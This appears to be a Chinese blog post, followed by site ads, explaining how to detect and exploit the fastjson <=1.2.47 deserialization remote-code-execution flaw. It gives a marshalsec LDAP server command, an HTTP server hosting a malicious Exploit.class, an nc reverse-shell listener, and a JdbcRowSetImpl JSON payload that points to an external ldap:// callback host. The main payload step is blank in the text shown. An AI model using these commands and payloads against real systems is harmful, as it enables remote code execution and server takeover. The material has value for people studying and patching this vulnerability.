fastjson<=1.2.47反序列化RCE漏洞
更新:2020_01_28
介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库。
漏洞原因: checkAutoType
黑名单中可绕过
检测方法:
第一种:
json数据{"age":"25","name":"2"}
,回显正常
{"age":"25","name":"2""}
,多了一个双引号,回显报错
例如:多一个}
也一样会报错
第二种:
fastjson 与 jackson区别,如果请求包中的 json 如下:
{"name":"S", "age":21} 追加一个随机 key ,修改 json 为 {"name":"S", "age":21,"zpchcbd":123}
这里 fastjson 是不会报错的, 但是Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多key,所以会报错,服务器的响应包中多少会有异常回显。
利用过程:
漏洞利用文件:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
攻击机器的java版本如下:
1、开始相应的服务:
ldap服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击机器的ip/#Exploit
http服务python -m http.server 8888
2、在攻击机上把Exploit.java
编译好的Exploit.class
字节码放在http服务的目录中
3、利用payload如下:
4、开启nc监听反弹:nc -lvvp 8888
,反弹shell成功
注意点:
第一点:如下jdk版本不存在漏洞
原因:java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
第二点:Exploit.java
漏洞利用文件最好用低版本的java环境编译,因为java是向下兼容的,防止目标环境加载的时候运行报错,最好是jdk1.6
第三点:如果是json字符串中name字段存在反序列化的情况
{"id":"1","name":"wangwei"}
那么poc就是
{ "id":"1", "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, "x":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://fatjaon.tuq75v.ceye.io", "autoCommit":true } }
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY